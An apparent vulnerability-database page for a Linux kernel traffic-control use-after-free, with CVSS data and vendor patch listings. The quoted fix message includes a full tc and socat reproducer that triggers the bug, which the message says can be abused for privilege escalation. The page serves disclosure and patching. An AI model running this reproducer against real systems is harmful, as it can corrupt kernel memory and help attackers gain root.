In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann <[email protected]>
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Amazon Linux Ami 2 | — | Upgrade bpftool-debuginfoUpgrade bpftoolUpgrade kernel-toolsUpgrade kernel-debuginfo-common-aarch64Upgrade perfUpgrade python-perfUpgrade kernel-develUpgrade kernel-tools-debuginfoUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-livepatch-5.10.235-227.919Upgrade kernel-tools-develUpgrade kernel-headersUpgrade perf-debuginfoUpgrade kernel-livepatch-5.15.179-121.185Upgrade kernelUpgrade kernel-debuginfoUpgrade python-perf-debuginfo | Apr 2, 2025 | Feb 13, 2025 |
| Amazon_linux_2023 | — | Upgrade kernel-tools-develUpgrade bpftoolUpgrade kernel-modules-extra-commonUpgrade kernel-libbpf-develUpgrade kernel-debuginfo-common-aarch64Upgrade kernelUpgrade kernel-libbpf-staticUpgrade kernel-debuginfo-common-x86_64Upgrade python3-perfUpgrade kernel-toolsUpgrade kernel-headersUpgrade kernel-modules-extraUpgrade bpftool-debuginfoUpgrade perf-debuginfoUpgrade kernel-tools-debuginfoUpgrade python3-perf-debuginfoUpgrade kernel-livepatch-6.1.131-143.221Upgrade kernel-libbpfUpgrade kernel-libbpf-debuginfoUpgrade perfUpgrade kernel-develUpgrade kernel-debuginfo | Apr 2, 2025 | Feb 13, 2025 |
| Debian | — | Upgrade linuxUpgrade linux-6.1 | Mar 17, 2025 | Feb 13, 2025 |
| Dell Powerstore Dsa2025429 | — | Upgrade Dell PowerStoreOS to the latest version | Dec 3, 2025 | Dec 2, 2025 |
| Dell Powerstore Dsa2026039 | — | Upgrade Dell PowerStoreOS to the latest version | Jan 13, 2026 | Jan 6, 2026 |
| Huawei Euleros 2_0_sp10 | — | Upgrade kernel-develUpgrade kernel-tools-libs-develUpgrade perfUpgrade kernelUpgrade bpftoolUpgrade kernel-headersUpgrade kernel-toolsUpgrade kernel-tools-libs | May 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp11 | — | Upgrade kernelUpgrade kernel-abi-stablelistsUpgrade kernel-tools-libsUpgrade python3-perfUpgrade kernel-toolsUpgrade bpftool | Jun 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp12 | — | Upgrade bpftoolUpgrade kernel-tools-libsUpgrade kernel-toolsUpgrade kernelUpgrade kernel-abi-stablelistsUpgrade python3-perf | Jun 11, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp13 | — | Upgrade kernel-tools-libsUpgrade python3-perfUpgrade kernelUpgrade bpftoolUpgrade kernel-abi-stablelistsUpgrade kernel-tools | Jul 1, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp9 | — | Upgrade kernel-tools-libsUpgrade kernel-toolsUpgrade kernelUpgrade python3-perf | Sep 15, 2025 | May 12, 2025 |
| Redhat_linux | — | No solution exists | Jul 9, 2025 | Feb 13, 2025 |
| Suse | — | Upgrade kernel-xen-develUpgrade dlm-kmp-64kbUpgrade kernel-64kb-develUpgrade kernel-obs-buildUpgrade dtb-nvidiaUpgrade kernel-64kb-extraUpgrade kernel-xen-baseUpgrade dtb-allwinnerUpgrade dtb-amdUpgrade gfs2-kmp-azureUpgrade dtb-alteraUpgrade ocfs2-kmp-64kbUpgrade ocfs2-kmp-azureUpgrade dlm-kmp-rtUpgrade reiserfs-kmp-azureUpgrade cluster-md-kmp-64kbUpgrade kernel-debugUpgrade kernel-defaultUpgrade kselftests-kmp-azureUpgrade kernel-default-livepatchUpgrade kernel-source-vanillaUpgrade reiserfs-kmp-rtUpgrade gfs2-kmp-defaultUpgrade kernel-default-livepatch-develUpgrade kselftests-kmp-rtUpgrade kernel-rt-develUpgrade kernel-preempt-develUpgrade ocfs2-kmp-defaultUpgrade reiserfs-kmp-defaultUpgrade dtb-renesasUpgrade kernel-ec2-baseUpgrade kernel-default-optionalUpgrade kernel-default-baseUpgrade dtb-mediatekUpgrade kernel-trace-baseUpgrade kernel-azureUpgrade dtb-hisiliconUpgrade kernel-rt_debug-develUpgrade kernel-rt-extraUpgrade kernel-default-vdsoUpgrade kernel-trace-develUpgrade kernel-devel-rtUpgrade dtb-appleUpgrade dtb-sprdUpgrade kselftests-kmp-64kbUpgrade kernel-64kb-optionalUpgrade kernel-develUpgrade kernel-debug-vdsoUpgrade kernel-azure-extraUpgrade cluster-md-kmp-rtUpgrade dtb-caviumUpgrade dtb-xilinxUpgrade kernel-azure-optionalUpgrade kernel-debug-develUpgrade dtb-broadcomUpgrade kernel-source-rtUpgrade kernel-rt_debugUpgrade gfs2-kmp-64kbUpgrade dtb-rockchipUpgrade kernel-ec2-develUpgrade dtb-freescaleUpgrade kernel-rt_debug-vdsoUpgrade kernel-devel-azureUpgrade kernel-default-manUpgrade kernel-rt-optionalUpgrade kernel-rt-livepatch-develUpgrade gfs2-kmp-rtUpgrade kselftests-kmp-defaultUpgrade dtb-apmUpgrade dlm-kmp-azureUpgrade reiserfs-kmp-64kbUpgrade kernel-xenUpgrade kernel-zfcpdumpUpgrade dtb-armUpgrade dlm-kmp-defaultUpgrade ocfs2-kmp-rtUpgrade kernel-macrosUpgrade dtb-marvellUpgrade kernel-kvmsmall-vdsoUpgrade kernel-traceUpgrade kernel-64kbUpgrade dtb-socionextUpgrade dtb-amazonUpgrade dtb-lgUpgrade kernel-rtUpgrade kernel-preemptUpgrade cluster-md-kmp-azureUpgrade kernel-syms-rtUpgrade kernel-symsUpgrade kernel-docsUpgrade kernel-sourceUpgrade dtb-amlogicUpgrade kernel-rt-vdsoUpgrade kernel-kvmsmall-develUpgrade kernel-kvmsmallUpgrade kernel-ec2Upgrade kernel-default-develUpgrade cluster-md-kmp-defaultUpgrade kernel-syms-azureUpgrade dtb-exynosUpgrade kernel-docs-htmlUpgrade kernel-obs-qaUpgrade dtb-qcomUpgrade kernel-source-azureUpgrade kernel-default-extraUpgrade kernel-default-base-rebuildUpgrade kernel-azure-vdsoUpgrade kernel-azure-devel | Mar 12, 2025 | Feb 13, 2025 |
| Ubuntu | — | Upgrade linux-image-6.11.0-1012-lowlatencyUpgrade linux-image-6.8.0-58-generic-64kUpgrade linux-image-5.15.0-1035-nvidia-tegraUpgrade linux-image-oem-24.04aUpgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-4.15.0-1141-oracleUpgrade linux-image-raspiUpgrade linux-image-5.4.0-1147-gcp-fipsUpgrade linux-image-4.4.0-267-lowlatencyUpgrade linux-image-nvidia-tegra-igxUpgrade linux-image-4.15.0-1134-fipsUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-ibm-lts-20.04Upgrade linux-image-generic-hwe-18.04Upgrade linux-image-raspi-nolpaeUpgrade linux-image-5.15.0-138-lowlatencyUpgrade linux-image-ibm-classicUpgrade linux-image-oem-20.04dUpgrade linux-image-6.8.0-1028-raspiUpgrade linux-image-oem-24.04bUpgrade linux-image-6.8.1-1020-realtimeUpgrade linux-image-gke-5.15Upgrade linux-image-6.8.0-58-genericUpgrade linux-image-6.11.0-1014-oracle-64kUpgrade linux-image-azure-fdeUpgrade linux-image-gcpUpgrade linux-image-6.8.0-1024-oracle-64kUpgrade linux-image-kvmUpgrade linux-image-5.15.0-1075-intel-iot-realtimeUpgrade linux-image-5.4.0-1129-raspiUpgrade linux-image-virtual-hwe-16.04Upgrade linux-image-lowlatency-lts-xenialUpgrade linux-image-raspi2Upgrade linux-image-4.15.0-1172-gcpUpgrade linux-image-aws-hweUpgrade linux-image-5.15.0-1074-ibmUpgrade linux-image-6.11.0-1013-azureUpgrade linux-image-6.8.0-1023-gkeUpgrade linux-image-4.4.0-1180-awsUpgrade linux-image-azure-lts-24.04Upgrade linux-image-6.8.0-1014-azure-nvidiaUpgrade linux-image-6.11.0-1014-oracleUpgrade linux-image-raspi-realtimeUpgrade linux-image-aws-lts-22.04Upgrade linux-image-oem-22.04bUpgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-5.15.0-1081-gcp-fipsUpgrade linux-image-azure-nvidiaUpgrade linux-image-5.15.0-1087-azure-fdeUpgrade linux-image-gcp-lts-24.04Upgrade linux-image-azure-fipsUpgrade linux-image-lowlatencyUpgrade linux-image-5.15.0-1087-azure-fipsUpgrade linux-image-awsUpgrade linux-image-6.8.0-58-lowlatency-64kUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-6.11.0-1013-gcp-64kUpgrade linux-image-6.8.0-58-lowlatencyUpgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-4.15.0-2117-aws-fipsUpgrade linux-image-5.15.0-1035-nvidia-tegra-rtUpgrade linux-image-oem-22.04aUpgrade linux-image-5.4.0-1149-azureUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-5.15.0-1076-nvidia-lowlatencyUpgrade linux-image-4.15.0-2080-gcp-fipsUpgrade linux-image-5.4.0-214-lowlatencyUpgrade linux-image-6.11.0-1012-awsUpgrade linux-image-lowlatency-64k-hwe-24.04Upgrade linux-image-5.15.0-138-genericUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-5.15.0-1077-intel-iotgUpgrade linux-image-5.4.0-214-genericUpgrade linux-image-gkeop-6.8Upgrade linux-image-5.15.0-1023-nvidia-tegra-igx-rtUpgrade linux-image-ibmUpgrade linux-image-aws-lts-20.04Upgrade linux-image-gcp-fipsUpgrade linux-image-generic-hwe-24.04Upgrade linux-image-generic-hwe-20.04Upgrade linux-image-azure-cvmUpgrade linux-image-oracle-lts-18.04Upgrade linux-image-generic-hwe-22.04Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-5.15.0-1079-oracleUpgrade linux-image-gcp-lts-20.04Upgrade linux-image-4.15.0-1179-awsUpgrade linux-image-5.15.0-138-generic-lpaeUpgrade linux-image-aws-lts-24.04Upgrade linux-image-6.11.0-1011-raspiUpgrade linux-image-azureUpgrade linux-image-6.11.0-24-genericUpgrade linux-image-lowlatency-hwe-24.04Upgrade linux-image-6.8.0-1027-azure-fdeUpgrade linux-image-generic-hwe-16.04Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-nvidia-64kUpgrade linux-image-oracle-64kUpgrade linux-image-5.4.0-1118-fipsUpgrade linux-image-4.4.0-1143-kvmUpgrade linux-image-5.15.0-1023-nvidia-tegra-igxUpgrade linux-image-4.4.0-1112-fipsUpgrade linux-image-oem-20.04Upgrade linux-image-realtime-hwe-24.04Upgrade linux-image-5.15.0-1079-gkeUpgrade linux-image-generic-lpaeUpgrade linux-image-oem-osp1Upgrade linux-image-6.11.0-1008-realtimeUpgrade linux-image-5.15.0-1076-raspiUpgrade linux-image-5.15.0-1081-gcpUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-virtual-hwe-18.04Upgrade linux-image-5.4.0-1144-aws-fipsUpgrade linux-image-5.4.0-1131-kvmUpgrade linux-image-5.15.0-1078-kvmUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-virtual-hwe-24.04Upgrade linux-image-virtual-hwe-20.04Upgrade linux-image-nvidia-6.8Upgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-intelUpgrade linux-image-gkeopUpgrade linux-image-azure-lts-22.04Upgrade linux-image-bluefieldUpgrade linux-image-4.15.0-236-lowlatencyUpgrade linux-image-lowlatency-hwe-16.04Upgrade linux-image-5.4.0-1142-oracleUpgrade linux-image-azure-lts-18.04Upgrade linux-image-6.8.0-1024-ibmUpgrade linux-image-4.15.0-1187-azureUpgrade linux-image-raspi-hwe-18.04Upgrade linux-image-oracle-lts-22.04Upgrade linux-image-6.11.0-1012-lowlatency-64kUpgrade linux-image-realtimeUpgrade linux-image-6.11.0-24-generic-64kUpgrade linux-image-6.11.0-1013-azure-fdeUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-oemUpgrade linux-image-aws-fipsUpgrade linux-image-5.15.0-1076-nvidiaUpgrade linux-image-gcp-64kUpgrade linux-image-5.15.0-138-fipsUpgrade linux-image-virtual-lts-xenialUpgrade linux-image-5.15.0-1046-xilinx-zynqmpUpgrade linux-image-intel-iotgUpgrade linux-image-5.4.0-1144-awsUpgrade linux-image-snapdragon-hwe-18.04Upgrade linux-image-4.15.0-1162-kvmUpgrade linux-image-6.8.0-1026-nvidia-lowlatencyUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-5.15.0-1082-realtimeUpgrade linux-image-4.4.0-267-genericUpgrade linux-image-oracle-lts-20.04Upgrade linux-image-5.15.0-1082-aws-fipsUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-aws-lts-18.04Upgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-5.4.0-1103-bluefieldUpgrade linux-image-fipsUpgrade linux-image-5.4.0-1090-ibmUpgrade linux-image-6.8.0-1024-oracleUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-5.4.0-214-generic-lpaeUpgrade linux-image-oracle-lts-24.04Upgrade linux-image-6.8.0-1027-azureUpgrade linux-image-oracleUpgrade linux-image-6.8.0-2023-raspi-realtimeUpgrade linux-image-nvidia-tegra-rtUpgrade linux-image-5.4.0-1147-gcpUpgrade linux-image-6.8.0-1026-oemUpgrade linux-image-6.8.0-1028-gcp-64kUpgrade linux-image-6.8.0-1028-gcpUpgrade linux-image-oem-20.04cUpgrade linux-image-oem-20.04bUpgrade linux-image-nvidia-tegraUpgrade linux-image-intel-iot-realtimeUpgrade linux-image-gkeop-5.15Upgrade linux-image-gkeUpgrade linux-image-azure-fde-lts-22.04Upgrade linux-image-6.8.0-1026-nvidia-64kUpgrade linux-image-6.8.0-1026-nvidiaUpgrade linux-image-4.15.0-236-genericUpgrade linux-image-5.15.0-138-generic-64kUpgrade linux-image-nvidiaUpgrade linux-image-5.15.0-1087-azureUpgrade linux-image-5.15.0-1082-awsUpgrade linux-image-4.4.0-1142-awsUpgrade linux-image-lowlatency-64kUpgrade linux-image-azure-lts-20.04Upgrade linux-image-6.8.0-1027-awsUpgrade linux-image-generic-64kUpgrade linux-image-5.4.0-1149-azure-fipsUpgrade linux-image-oem-22.04dUpgrade linux-image-oem-22.04Upgrade linux-image-oem-24.04Upgrade linux-image-oem-22.04cUpgrade linux-image-genericUpgrade linux-image-lowlatency-hwe-18.04Upgrade linux-image-6.8.0-1010-gkeopUpgrade linux-image-5.15.0-138-lowlatency-64kUpgrade linux-image-5.15.0-1064-gkeopUpgrade linux-image-5.4.0-1049-iotUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-gcp-lts-18.04Upgrade linux-image-6.11.0-1020-oemUpgrade linux-image-generic-lts-xenialUpgrade linux-image-6.8.0-1026-nvidia-lowlatency-64kUpgrade linux-image-5.4.0-1062-xilinx-zynqmpUpgrade linux-image-4.15.0-2096-azure-fipsUpgrade linux-image-virtualUpgrade linux-image-6.11.0-1013-gcp | Apr 10, 2025 | Feb 13, 2025 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 2, 2025 | Feb 13, 2025 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub